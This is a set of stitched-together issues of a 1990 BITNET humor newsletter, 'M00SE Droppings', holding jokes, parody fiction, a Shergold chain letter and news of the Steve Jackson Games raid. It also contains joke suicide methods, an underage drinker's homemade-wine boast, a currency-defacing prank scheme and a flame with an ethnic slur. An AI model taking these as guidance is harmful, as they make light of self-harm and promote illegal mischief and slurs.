fails to operate, or should perform erratically, it may be in need of a ball
replacement. Because of the delicate nature of this procedure, replacement of
mouse balls should be attempted by trained personnel only.
Before ordering, determine type of mouse balls required by examineing the
underside of each mouse. Domestic balls will be larger and harder than foreign
balls. Ball removal procedures differ, depending upon manufacturer of the mouse.
Foreign balls can be replaced using the pop off method, and domestic balls
replaced using the twist off method. Mouse balls are not usually static
sensitive, however excess handling can result in sudden discharge. Upon
completion of ball replacement, the mouse may be used immediately.
It is recommended that each servicer have a pair of balls for
maintaining optimum customer satisfaction and that any customer missing his
balls should suspect local personnel of removing these necessary functional
items.
(Submitted by GreyFoxM00se)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(Submitted by Ruprecht)
Description: Whenever I get depressed, I read this.
>In article <14050@reed.UUCP> jswanson@reed.UUCP (Grendel) writes:
>>
>Ok, how about a top 10 list of ways to kill yourself with a groundhog?
Here are a couple:
Take a groundhog, inject the groundhog with a large dose of methamphetamines,
place the groundhog inside your shirt. More than likely, the groundhog will
begin to tunnel into your chest cavity, thereby causing your demise.
Take a groundhog into a biker bar. Find the largest biker in the place. Hold
up the groundhog and say, "Hey donkey puke, this is your old lady ain't it? Oh,
excuse me, your old lady don't look this good." Death should follow within 20
seconds.
Take some electrical wire and attach one pair of leads to a twelve volt battery
and the other ends to the hind legs of the groundhog. Then hold the groundhog
near your throat. Slow but efficient.
--
- /| | Karl Klingman
\`O.o' -->GAK! | UUCP: gatech!stiatl!karl
={___}= Cubicles: Just say NO! | Internet: stiatl!karl@gatech.edu
` U ' |
______________________________________________________________________________
I read this and somehow I never get around to killing myself.
Ruprecht
V067LUFD@UBVMS
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Newsgroups: rec.backcountry
Subject: baking, and moose
> >Question:
> >How do any of you do any very good baking over a gas stove? I have
>
> "The NOLS Cookery" recommends that you build a "twiggy fire" on the
> lid, with pencil-thickness sticks. In order to bake anything that
> you can't flip, I think you have to have a heat source from above.
Yes, this works very well. Find a frying pan with a lid (I found
one with a lid, but the lid sloped, so I had to beat it into submission
with rocks!). When you're cooking, build a small fire on
top of the lid. Gee, it's *just* like an oven at home! We baked
bread (yeast, not baking powder), pizza, corn bread, &c.
Oh yes: only get twigs that have fallen to the ground. Don't pull
twigs off the trees, even the trees are dead. NOLS says that
people notice this (talk about taking minimum impact too far!)
One problem with my set-up is that the lid has no handle (I like to
check the baking every five minutes (yeah, I know you're not
supposed to do that!)). I guess this could be fixed by getting
someone to weld a chunk of metal to the outside of the lid.
Here's the important part: according to NOLS, after you're done
with the fire, you must walk around slowly, gently blowing the
ashes and twig remnants off the lid with your breath. That way, no
one will ever notice that you've built a fire. This is where the
artistry comes in: take ten minutes, no, fifteen, to do this.
Hell, make it a day hike. Last time I did it, I ran into a female
moose and a calf. You know, female moose (meese?)--the ones that
are supposed to be able to fend off an attacking bear when their
calves are threatened? But this particular moose in its superior
wisdom realized what a kind soul I was. I got to within twenty
yards of her, leaned up against a tree, and exchanged long stares
with her and her progeny. Must have stayed there for half an hour.
Was one of the high points of my wilderness experience. And all
because I scattered my ashes.
cheers, from
charles s. geiger, esq.
The University of Texas at Austin, Austin, Texas
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
From: "Daniel F. Boyd" <consp04@BINGVAXU.CC.BINGHAMTON.EDU>
A computer-generated random flame.
Why, the system staff is fascist! Your ignorance reminds me of a surfboard.
How can you say that Multics is a really unpleasant operating system? Don't you
realise that Lassie was dead? Lousiness is pretty fun. I have many crazy
friends. Fool! How can you say that Groucho is improper? Life is subtlety,
right? You make me sick. You disgusting Chinese wanker! Ban religions! Your
prejudice reminds me of a bug fix. You should have a computer, huh? Don't you
realise that I wish I were a source license? I don't want to hear about your
sexual fantasy. You must be a real rat to think that short people don't get
married to fascist people because they can't spray paint that small. You sound
like a real sadist. Your lousiness reminds me of a system call. Primitive old
arsehole!
Arf arf arf...
-- Dan
--------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
--------------------------------------------------------------------------------
Will ship separately, once I get the new list from HershM00se.
--------------------------------------------------------------------------------
TREMENDOUSLY Overdue Issue - TREMENDOUSLY Overdue Issue - TREMENDOUSLY Overdue I
--------------------------------------------------------------------------------

373
textfiles.com/magazines/M00SE/m00se39 Normal file
View File

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If the fourth dimension is time, can I define a 4 dimensional array in a
computer language, display it, fill it, do some odd rotation with it, and have
the numbers I filled it with after I displayed it show up when I display it?
(Ie, send numbers into the past?) How would I test that, knowing the numbers
(having displayed it before I filled it)?
This seems like an extremely M00sey question...
Anyway, the idea came to me one night after eating a Subway Club with Extra
Jalepinos (I'm mildly allergic to Jalepinos, and they make me
somewhat...Buzzing... Kind of like eating Hash brownies...). I thought, "If the
fourth dimension is Time, and my computer can define a 4 Dimensional array, can
I use my computer to send messages back through time". The idea would be to put
numbers on the visible faces of a 4D array and rotate them in such a way that
they would go back through time. I've the concept down now, but testing leads to
a little difficulty -- if I print the array out first, I then know what numbers
were in there before and, well... paradoxes up the behind....
Maybe someone out there in M00seland can come up with a good way to test this,
but I don't want to mess with 4D arrays anyway, as I have enough troubles with 2
and 3 d arrays. Indexing becomes a bit complex....
array[x][y][z][WHAT] <- See?
Still, it is a neat idea...
-GreyfoxM00se
--------------------------------------------------------------------------------
Heinously Late Issue - Heinously Late Issue - Heinously Late Issue - Heinously L
--------------------------------------------------------------------------------
_ /\ _ _ /\ _
/ \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \
\_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/
/ \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \
/ \__/ \ M M M 0// 0 0// 0 S E / \__/ \
/__________\ M M 0000 0000 SSSSS EEEEEEE /__________\
DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS
D D R R O O P P P P I NN N G S
D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS
D D R R O O P P I N NN G G S
DDDD R R OOOO P P IIIII N N GGGG SSSSS
A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #39| Disclaimer: The Editors will place almost anything in |Mar. 21, 1990
---------- this newsletter out of a frantic desire to fill the --------------
issue, so don't blame them for the quality or content of the submissions. Except
-ing those they may have written themselves, the enclosed items do not in any
way represent the Editors' fnord opinions. In fact, let's be real safe, and say
that as far as this newsletter is concerned, they have no opinions at all. OK?
================================================================================
--------------------------------------------------------------------------------
************************************* STAFF ************************************
--------------------------------------------------------------------------------
Editor - Patrick Salsbury <V291NHTP@UBVMS.BITNET> (Never gets issues out
on time.)
Submissions to: DangerM00se <V291NHTP@UBVMS.BITNET> (What a slug.)
Back issue requests: Max Handelsman <MHANDELS@DREW.BITNET>
and Johnathan Clemens <FSJPC@ALASKA.BITNET>
or <FSJPC@ACAD3.FAI.ALASKA.EDU>
AND Joanne Rosenshein <JROSENSH@SBCCVM.BITNET>
M00se List updates and changes: Herschm00se the Beanmeister
<JMP91@GENESEO.BITNET>
(This space to let): Contact WarM00se <V291NHTP@UBVMS.BITNET>
BRANDYM00SE contacted me, now she gets to be mentioned here. Wouldn't
you like to be a pepper, too? :)
(Who's paying this guy, anyway?)
--------------------------------------------------------------------------------
**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Howdy!
Yes. I know it's late. Yes. I know it's VERY late. But it's here now,
ain't it? :)
Sorry I've been so lax. My life has been a sine wave of late. Just when
things are going really well, something comes along and screws everything up.
Why is the header not the first thing in the issue? Well, time for
something different.....Python does it, why can't we?
Anyway, Happy Spring! On with the stuff!.....
-Pat
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Hey! Check this out, man! U.S. Law say I cannot buy booze, being under 21,
right? "Eeen Dees Country, I am too young to drink Wodka." or something like
that.
Anyway, same U.S. law say nothing about me buying
1) Grape Juice
2) Sugar
3) Yeast
Hmm, says the Organic chemest. You know what happens when you put that lot
together under the right conditions? You guessed it. A truly second rate wine
suitable for a frat party or whatever! And who said eddycation never pays?
'Course, it's not legal for you to put them together under the right
conditions... But what are they gonna do? Bust into your house, see this shit in
your closet, card you, and haul you off to the state penn? I somehow doubt it.
Anyway, if you does it right, and bottles it right, and let it sit for a few
months, it actually gets better! I have a half-bottle of 4-month old homemade
wine (Was a whole bottle yesterday ;-) that is actually quite tasty if a bit
sweet (I put too much sugar in, I think). It was AWEFUL three months ago. Really
aweful. Cloudy, grody, y'know... But most of the crud settled out sometime
during the 4 months. Neat trick that.
Anyway, I have the recipe about, if anyone wants it. It takes a couple of weeks
to ferment, and it (the recipe) is mainly a template from which you can deviate
quite severely if you wish (to go blind :-) Seriously, though, I've deviated
from in so severly as to use Bicarrdi Strawberry Daiquery stuff (It comes in a
can as frozen concentrate) to make a strawberry wine. That was pretty good too,
but it was too active to keep around (It somehow carbonated itself, and would
shoot out like the bottle had been shaken... strawberry wine all over the place.
No fun).
-GreyF0xM00se
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
From: The Twiglit Zone <FSDEM2@ALASKA.BITNET>
Attention all M00se:
The white zone is for loading and unloading only. If you have to load or
unload, please go to the white zone. Attention all M00se: The white zone is
for loading and unloading only. If you have to load or unload, please go to the
white zone. That's the white zone. The red zone is not for loading and
unloading only. If you have to load or unload do not go to the red zone. The
plaid zone is not for loading. If you have to load, please don't go to the
plaid zone. Please do not go to the green zone, and do not even think about
loading or unloading in the yellow zone if you know what is good for you.
Loading and unloading is permissible in the pink zone on alternate days provided
the name of the month does not end in Q, P or R. If the name of the month does,
in fact, end in Q, P or R, loading and unloading is not permissible in the pink
zone; neither is it permissible in the blue, orange or red zones. The beige
zone may be for loading or unloading, however, not on the first date. All in
all, the white zone is your safest bet. The white zone is for loading and
unloading only. If you have to load or unload, please go to the white zone.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
With snail mail rates going up, someone will probably eventually think that
maybe a computer net could be used to send a large amount of text mail...
Hmmm... Nah! It'll never happen ;-)
-GreyF0xM00se
--------------------------------------------------------------------------------
******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
According to Purdue's newspaper, "The Exponent," this week has been officially
declared National Orgasm Week by Rodger Libby, a sociologist and social
psychologist.
Libby says we need Orgasm Week "because we need positive news about sex. Over
the past few years the media has given sex a bad name, and I want to present
good news about sex."
This week, Libby will be delivering humorous lectures on the subject as well as
passing out condoms, lubricants, and pins which read "I Came for National Orgasm
Week."
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I seem to recall in a not so distant issue of M00se Dr0ppings, that someone
mentioned the pandemonium of getting a rubber stamp together that said something
to the effect of:
THIS BILL HAS BEEN RECLAIMED BY THE U.S.
TREASURY DEPT. FOR DESTRUCTION. DO NOT
HONOR. IT IS NO LONGER LEGAL TENDER.
And then going around stamping all the $$$ we could lay our hands on. Feeding $1
bills into change machines, and then getting more bills for the change, stamping
them, and feeding them in, ad infinitum. Well, one of the questions raised was
"Where can we get them?" My fellow m00ses, that question has been answered. I
now work for the Cole Key Company, in the Maine Mall, in South Portland. One of
my jobs is key carving, and another is the fashioning of rubber stamps. Right
there in the store. I've already made my first prototype. I will gladly make
copies for any and all m00ses interested in this wonderfully heinous mischief.
The total cost for the stamp is $5.00. Tax here is 5%, adding another
$.25. Postage is close enough to $1 to make no nevermind, so the total cost for
an official unofficial m00se illuminati havoc stamp is $6.25, payable either
cash or check, whichever is most convenient. Please send to the following
address ASAP:
pay to the order of: Jeff Cavanaugh
University of Southern Maine
Room 253 Hastings Hall
Gorham, ME 04038
Please send payment soonest, and I'll send stamp soonest as well.
Happy government toppling to everyone, and bl00pski!!!!
Mitya the Red M00se
p.s. Pat and I have decided that t'would be best to use black ink for our stamps
as opposed to red, since WE don't want to be caught at this, knowhuttamean,
Vern..? Enjoy, and bl00p away!
MtRM
--------------------------------------------------------------------------------
***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
The time:Some time in the twenty third century
The Place:The USS Enterprize
Spock has just found out that pizza with anchovies makes him trip.
Kirk: Bones! What's wrong with Spock?
Spock: 'sssh nodhing wrong, capt'n, baby.
McCoy: It sounds like he's on drugs...
McCoy holds up his tricorder and scanner.
Tricorder: WHIRRRRRRRR WHIRRRRRR WHIRRRRRR <PING>
McCoy(Examining the tricorder): I'm not getting anything, though.
Spock: Oh, wow, man, the walls are breathing...
McCoy: Damnit, Jim! I think he's tripping. We'd better get him to
sick bay.
Kirk: What caused it?
McCoy: What has he eaten recently?
Spock: pizzah with anchovies and a side order of tribble juice.
McCoy: He's drunk tribble juce before, so it must be the Pizza.
Spock: Oh wow man, where's my shades?
McCoy: Damnit, Jim! He's getting worse...
Will the Enterprize ever be the same? Will Spock become a habitual
Pizza and (Ugh!) anchovies user? Will all the tribble juice suddenly
dissappear? Will I ever be able to turn out a FUNNY bar trek?
-GreyfoxM00se
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
From: GR4302@SIUCVMB.BITNET
Subject: Randomly Generated Poetry (Wyrd oft nereth unfaegne...)
I programmed a small fast spinning database for glosses (easy to do on the
right machine), then gave it the 200+ most common words in the Anglo-Saxon
corpus (with MdnE glosses), indulged the machine in a variety of artsy
software, then went back to the database and spun it like slot machine or
randomly thrown Tarot, and received the following poetry:
Warrior, take thy journey creation long;
An Artifice falls, bloodies all heaven;
Measure much, choose when to
Ask, sit, thy bow let rest.
Allow worthy wrath against grasping rule.
Do thy wood work. Do not fail or lose the way.
Someone must protect the earth there--
Blood comes when some choose so much.
I wonder what R.A. Wilson would think?
Jeff T.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
From: Jonathan Held <HELD61@SNYPOTBA.BITNET>
There was this keyboard. On this keyboard there was lots of
little keys. Each of the keys would sit and sit all day long. It was
quite a boring place to live. Then one day, U heard from Y who
heard from T who heard from R who heard from E about S. S was an
amazing key. She had curves that U would kill for. U knew that
he could never really get close to S because all of the other keys
were so crowded in that he couldn`t squeeze through to meet her.
U was very discouraged for a really really really long long long
time. He thought about S more and more, though he had never even
met her. He decided that he had to see her, he just had to. So he
began his planning.
A week later, he began his long trek over to S. First, he leaned
over and beat Y right into the keyboard. Now, he was getting
somewhere. U crawled over next to T, who was looking more and more
scared every second. U grabbed T by his shoulders, and flung him
right off the keyboard. The next obstacle was R.
R was a mean, rough tough bully. He kicked and punched at U,
trying not to let him through. However, U had his emotions
backing him up. He swung back at R, bouncing him up over the number
row. Finally at E, U lashed out as hard as he could knocking E
right into W and killing them both.
The rest of the keys were quite appalled at such behavior, all
except for S. S was really impressed by U`s strength and perseverence,
and was very flattered by the whole situation.
Finally, U and S were together.
The only problem is, certain words were totally out of the
question: you can`t spell TRY, RETRY, WET, WETTER, TREE, or WERE
anymore.
But we`ve still got US.
--------------------------------------------------------------------------------
*************************** M00SCELLANEOUS NONSENSE ****************************
--------------------------------------------------------------------------------
(this text is taken from Kathy Glomski on talk.religion.newage in News)
THE LESSON
Then Jesus took his disciples up the mountain and gathering them
around him, he taught them saying,
Blessed are the poor in spirit for theirs is the kingdom of heaven
Blessed are the meek
Blessed are they that mourn
Blessed are the merciful
Blessed are they that thirst for justice
Blessed are you when persecuted
Blessed are you when you suffer
Be glad and rejoice for your reward is great in heaven....
Then Simon Peter said, 'Do we have to write this down?'
And Andrew said, 'Are we supposed to know this?'
and Phillips said, 'What if we don't know it?'
And Bartholemew said, 'Do we have to turn this in?'
and John said the other disciples didn't have to learn this
and Judas said, 'What does this have to do with real life?'
Then one of the Pharisees present asked to see Jesus' lesson plans
and another inquired of Jesus his terminal objectives in the cognitive
domain. A third chastised him for failing to include an anticipatory
set.
And Jesus wept.....
--------------------------------------------------------------------------------
******************************* MEET THE M00SES ********************************
--------------------------------------------------------------------------------
From: SFROBE@CLEMSON.BITNET
Subject: New Chapter Info
Official M00SE Corespondence _ /\ _
/ \_/\_/ \_/\_/ \
From: Stephen Roberts \_____/ () \_____/
President of the Stephen Roberts Chapter of / \
of The M00SE Illuminati / \__/ \
/__________\
Dear Fellow M00se,
I received your posting about the M00se illuminati and immediately became a
convert. Since there were no known existing chapters on the Clemson campus, I
preceded to declare my self a member, and immediately came up with a silly,
meaningless initiation ceremony with which I could initiate myself. Since that
time, I have strived to reach the ideals of M00sehood and spread the conspiracy
to as many new chapters as possible. As of this date, I have personally
presided over the opening of five new chapters here at Clemson. The M00se is
reaching out across our campus, slowly now, but with increasing speed. Already,
the SIGN is appearing across campus on boards and signs. Confusion and
bewilderment posseses the minds of the masses.
Below is the list of new chapters. Unfortunately, only one can be reached
by e-mail (other than myself).
Chapter name Presiding Bull Moose E-mail address
Stephen F Roberts Stephen F Roberts SFROBE@CLEMSON
Robert F Nelson Robert F Nelson RFNELSO@CLEMSON
Ted Collins Ted Collins
Joe Wintz Joe Wintz
Gary Ulmer Gary Ulmer
All of our new chapters would be interested in receiving a copy of M00se
Droppings, and anxiously await our first copy.
Thank you for enlightening me and our new throng.
Bloop,
Stephen F Roberts
--------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
--------------------------------------------------------------------------------
I have to get the latest one from HERSCHM00se. I'll send it along when I
get it.
--------------------------------------------------------------------------------
Heinously Late Issue - Heinously Late Issue - Heinously Late Issue - Heinously L
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Fruitbat Issue - Fruitbat Issue - Fruitbat Issue - Fruitbat Issue - Fruitbat Iss
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/ \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \
\_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/
/ \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \
/ \__/ \ M M M 0// 0 0// 0 S E / \__/ \
/__________\ M M 0000 0000 SSSSS EEEEEEE /__________\
DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS
D D R R O O P P P P I NN N G S
D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS
D D R R O O P P I N NN G G S
DDDD R R OOOO P P IIIII N N GGGG SSSSS
A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #40| Disclaimer: The Editors will place almost anything in |Apr. 09, 1990
---------- this newsletter out of a frantic desire to fill the --------------
issue, so don't blame them for the quality or content of the submissions. Except
-ing those they may have written themselves, the enclosed items do not in any
way represent the Editors' fnord opinions. In fact, let's be real safe, and say
that as far as this newsletter is concerned, they have no opinions at all. OK?
================================================================================
--------------------------------------------------------------------------------
************************************* STAFF ************************************
--------------------------------------------------------------------------------
Editor - Patrick Salsbury <V291NHTP@UBVMS.BITNET>
Submissions to: DangerM00se <V291NHTP@UBVMS.BITNET>
Back issue requests: Max Handelsman <MHANDELS@DREW.BITNET>
and Johnathan Clemens <FSJPC@ALASKA.BITNET>
or <FSJPC@ACAD3.FAI.ALASKA.EDU>
AND Joanne Rosenshein <JROSENSH@SBCCVM.BITNET>
M00se List updates and changes: Herschm00se the Beanmeister
<JMP91@GENESEO.BITNET>
Ben & Jerry's VermonsterFest (tm) Coordinator: BlAcKDoG <V115QRJ8@UBVMS>
(This space to let): Contact WarM00se <V291NHTP@UBVMS.BITNET>
--------------------------------------------------------------------------------
**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Hmm.
Guess it's time to get another sporadic issue of this stuff out. Sorry
they are so irregular this semester. See, I'm on this new diet...and I'm not
getting enough fiber...and...
Ahem. Sorry! ;^)
Anyway, here it is.....
-Pat
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
From: agtoa!greyfox@uunet.uu.NET (GreyFoxM00se)
------------------------------------------------------------------------
From: Lynette M. Conrad
Date: March 29, 1990
Subject: One Child's Wish
Hello. I am passing along a message that I got from a friend who
received it from the Children's Wish Foundation in Atlanta. If you can
please send a card and forward this information to your friends. It is
really neat that doing something as simple as sending a card will make
this child's wish come true....thanks....
--------------------------------------------------------------------------
"Please join us in helping to make one extremely sick child's wish
come true... This particular child's name is Craig Shergold. He is seven
years old and has a very short time to live due to a brain tumor.
Craig's wish is to have his name added to the list of "Record
Holders" in the Guinness Book of World Records. The record he wishes to be
accountable for is the person who has received the most get-well cards ---
the record now stands at 1,000,265.
This is such a small task for us to accomplish for a precious
little seven year old.
Let's put a smile on Craig's little face with a get-well card and
let him know we all truly care by sending him a card as soon as possible.
All cards must be received by Craig by no later than Sunday, April 15th,
1990, and be mailed to him at the following location:
Craig Shergold
c/o Children's Wish Foundation
32 Perimeter Center East
Atlanta, Georgia 30346
Thank you in advance for your contribution to this 'small' request.
Please pass the word so that we can all help Craig's wish come true."
---------------------------------------------------------------------------
Please, if you have the time, send a card to make Craig's wish come
true. I know it would mean the world to him. Thanks....
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[Ed. Note] We did a bit of calculation, and realized that 1,000,000 letters, at
$.25 a pop, equals $250,000 dollars for the Post Office!
Can you say "vested interest?" I knew that you could! :)
-Pat
--------------------------------------------------------------------------------
******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
>: From: mosley@peyote.cactus.org (Bob Mosley III)
>:
>: Wednesday morning, Feb. 28, the offices of Steve Jackson Games, inc.,
>: were raided by FBI and Secret Service officials. The establishment was
>: shit down, and all computer systems, including the Illuminati BBS,
>: were confiscated.
According to Fearless Leader (the SJG-BBS sjsop, reporting on another Austin
BBS), not all the computers were taken -- just the BBS, a laser printer (Murphy
only knows what the Secret Service thought they could get out of that -- reading
the typewriter ribbon?), and some disks and papers.
>: As of this writing, the Mentor is reportedly out on bail, sans system
>: and network connection. The Illuminati BBS is still down, although SJ
>: Games is back in operation, and no charges have been filed against any
>: of the employees other than The Mentor. The systems owned by SJ Games
>: have not been returned as of this writing.
Mentor is Loyd Blankenship, recently made the chief editor at SJ Games. I
hadn't heard he was involved, though I'd heard an unofficial report that one SJG
employee's home was raided and his system taken.
The following is what appears if you call SJB-BBS right now (at 1200 baud or
less). (Sorry for the caps and weird formatting, the system they're using is an
old Apple II, considered expendable if the Feds decide to come back.)
GREETINGS, MORTAL! YOU HAVE ENTERED
THE SECRET COMPUTER SYSTEM OF
/\
/ \
/ () \
/ ____ \
/ / \ \
/__________\
THE ILLUMINATI
FRONTED BY STEVE JACKSON GAMES
INCORPORATED. ALL RIGHTS RESERVED. FNORD
NOTE! AT THE MOMENT ILLUMINATI IS AN READ-ONLY SYSTEM. READ THE INFORMATION
BELOW TO FIND OUT WHY. USING THE SPACE BAR WILL LOG YOU OFF. YOU CAN STOP THE
SCROLLING AT ANY TIME WITH A CONTROL-S. CONTROL-Q WILL RESUME THE SCROLLING.
YOU MAY HAVE NOTICED THAT OUR CORPORATE MASCOT, WHO USUALLY GREETS OUR CALLERS
WITH A CHEERFUL SMILE, IS FROWNING TODAY. I THINK YOU'LL AGREE HE HAS EVERY
RIGHT TO.
BEFORE THE START OF WORK ON MARCH 1, STEVE JACKSON GAMES WAS VISITED BY AGENTS
OF THE UNITED STATES SECRET SERVICE. THEY SEARCHED THE BUILDING THOROUGHLY, TORE
OPEN SEVERAL BOXES IN THE WAREHOUSE, BROKE A FEW LOCKS AND DAMAGED A COUPLE OF
FILING CABINETS (WHICH WE WOULD GLADLY HAVE LET THEM EXAMINE, HAD THEY LET US
INTO THE BUILDING), ANSWERED THE PHONE DIS- COURTEOUSLY AT BEST, PROBABLY ATE A
FEW OF THE ORANGE SLICES THAT WERE ON FEARLESS LEADER'S DESK (WHICH THEY WERE
WELCOME TO, BY THE WAY), AND CONFISCATED SOME COMPUTER EQUIPMENT, INCLUDING THE
COMPUTER THAT THE BBS WAS RUNNING ON AT THE TIME.
SO FAR WE HAVE NOT RECEIVED A CLEAR EXPLANATION OF WHAT THE SECRET SERVICE WAS
LOOKING FOR, WHAT THEY EXPECTED TO FIND, OR MUCH OF ANYTHING ELSE. WE ARE FAIRLY
CERTAIN THAT STEVE JACKSON GAMES IS NOT THE TARGET OF WHATEVER INVESTI- GATION
IS BEING CONDUCTED; IN ANY CASE, WE HAVE DONE NOTHING ILLEGAL AND HAVE NOTHING
WHATSOEVER TO HIDE. HOWEVER, THE EQUIPMENT THAT WAS SEIZED IS APPARENTLY
CONSIDERED TO BE EVIDENCE IN WHATEVER THEY'RE INVESTIGATING, SO WE AREN'T LIKELY
TO GET IT BACK ANY TIME SOON. IT COULD BE A MONTH, IT COULD BE NEVER.
IN THE MEANTIME, FEARLESS HAS LOANED STEVE JACKSON GAMES THE APPLE SJSTEM THE
BBS RAN ON BACK IN THE OLD DAYS BEFORE JOENET. TO MINIMIZE THE POSSI- BILITY
THAT THIS SJSTEM WILL BE CONFIS- CATED AS WELL, WE HAVE SET IT UP TO DISPLAY
THIS BULLETIN, AND THAT'S ALL. THERE IS NO MESSAGE BASE AT PRESENT. WE APOLOGIZE
FOR THE INCONVENIENCE, AND WE WISH WE DARED DO MORE THAN THIS. HOWEVER, WE
AGONIZED LONG AND HARD, AND DECIDED IT WAS A COURTESY TO OUR CALLERS TO LET THEM
KNOW WHAT WAS HAPPENING.
AT THIS POINT WE DON'T KNOW WHEN THE BBS WILL BE BACK UP FOR REAL. IF YOU HAVE
IMPORTANT INFORMATION FOR US, SUCH AS PLAYTEST NOTES, YOU CAN MAIL THEM TO US
(YEAH, I KNOW, ECCH) OR IF IT'S SOMETHING TRULY IMPORTANT, YOU CAN REACH US AT
OUR VOICE NUMBER (512-447-7866). IN THE MEANTIME, FEARLESS WILL BE CHECKING IN
ON A REGULAR BASIS ON SMOF (512-UFO-SMOF) AND RED OCTOBER (512-834-2548).
IN PARTICULAR, IF YOU HAVE DOWNLOADED THE GURPS CYBERPUNK PLAYTEST MATERIAL THAT
WAS ON THE BOARD, PLEASE LET US KNOW RIGHT AWAY SO WE CAN ARRANGE TO GET A COPY.
SOME OF THAT MATERIAL WAS NOT EASILY REPLACABLE, AND WE WOULD LIKE TO GET COPIES
- IT WOULD MAKE GETTING GURPS CYBERPUNK OUT MUCH, MUCH EASIER (AND IT WOULD COME
OUT THAT MUCH SOONER). PLEASE CALL US AND ASK TO TALK TO CREEDE OR LOYD FOR
ARRANGEMENTS.
THANK YOU FOR YOUR UNDERSTANDING, AND THANKS TO EVERYONE WHO HAS GIVEN US WORDS
OF ENCOURAGEMENT AND SUPPORT. WE HOPE WE'LL BE BACK ON LINE, FULL TIME, VERY
SOON.
-- STEVE JACKSON GAMES AND
THE SJSOPS OF THE ILLUMINATI BBS
<<END MESSAGE>>
<<LOGGING OFF>>
The comment about GURPS Cyberpunk playtest material is interesting -- that was
the project Loyd was working on, and it sounds like the Secret Service made off
with all the copies SJG had. Wonder if they're confusing gaming with reality?
Incidentally, I am a frequent user of SJG-BBS, and I've never seen anything
there that the government could find remotely interesting, and the sjsops of
Illuminati BBS have been *very* careful to run a clean system. About the only
place they might find anything would be in the private e-mail system, if that.
---Walter
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
For those of you who remember WAAAAAAY back to Issue 30, Steven
"Fruitbat" Foster unknowingly contributed a piece entitled "Daydreams of a Kinky
Fruitbat" to our 'Droppings. I've finally located a working address for him, and
have sent him some info on the M.I. and such. He has decided to join our
illustrious ranks! Welcome, Fruitbat! (And, of course, welcome to all the new
m00ses that have joined recently! ....And I see Jimmy, and Charlotte, and Kim,
and David, and all sorts of other m00ses through the Magical Romper Room (tm)
Mirror....)
His address (Fruitbat's), if you care to write, is:
IN%"foster@jumbly.enet.dec.COM"
--------------------------------------------------------------------------------
***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
NATURAL HISTORY OF FRUITBATS
Fruitbats: description
Fruitbats are small, brown and mildly furry. They have the cutest faces of any
bat, little pointy ears that stick out and very sharp teeth designed to be
indignant with. There is a great variety of size in fruitbats, ranging from
twelve inches in height, to a little over six foot tall. A fruitbat will
generally flitter about at great speed making little "meeping" noises. It
is pretty much impossible to determine what it will do next.
Fruitbats: habitat
A fruitbat is a small unassuming bat whose natural habitat is dark forest in
some of the warmer places of the earth. For unknown reasons, some fruitbats
have migrated northwards and are now living in warm and comfy centrally
heated houses in the UK. It is thought that this maybe the result of early
explorers adopting them and introducing them to culture.
Fruitbats: food
The rustic bats will live mainly on rotting mango, which is a good source of
essential alcohol. The fruitbat will spot a mango from the treetops and
spiral down at great speed making anticipatory happy meeps. Opening its mouth
wide it then dives into the mango where it will suck the juice until incapable
of moving. Predators are wary of attacking a feeding fruitbat, which will
either attack with its sharp teeth, or launch into a rendition of "The Time
Warp", depending on how long it has spent in the mango. The main alternatives
to mango in the fruitbat diet are Mars bars and Guinness. It is generally
not advisable to provide too much of these though, as a fruitbat will eat
them whether it is hungry or not.
Fruitbats: mating
With very little else to do other than meep and get pissed on mango, fruitbats
tend to mate fairly frequently, although more scientific investigation needs
to be made into what constitutes a breeding pair. This is further complicated
by the fruitbat philosopy that "if it's got a big dick and a supply of Mars
bars then its as near to being a fruitbat as makes no odds". This leads to
problems of aviation. To attract the other fruitbats, most have now evolved
to be too well endowed to fly. A fruitbat who attempts to fly is likely to
make the following conversation prior to plummeting to the ground:
"Meep, meepety meep, meep, <sees other fruitbat> ooh, meep, Aaarrrgggh!".
A small proportion of fruitbats are heterosexual. This abnormal behaviour
is tolerated in the fruitbat community, but is limited to those over 21.
Fruitbats: domestic
A fruitbat makes a wonderful addition to a household. It is extremely
difficult to gain their affections, but when you do, it'll be very difficult
to ever extricate yourself from its arms again. A good starting point when
attracting a fruitbat is to own a large collection of mars bars and to be
able to cook (a change from raw mango is always nice).
Fruitbats: language
Fruitbats have a rich and varied language - depending more on tone and
facial expression than anything else. When the only word in the vocabulary
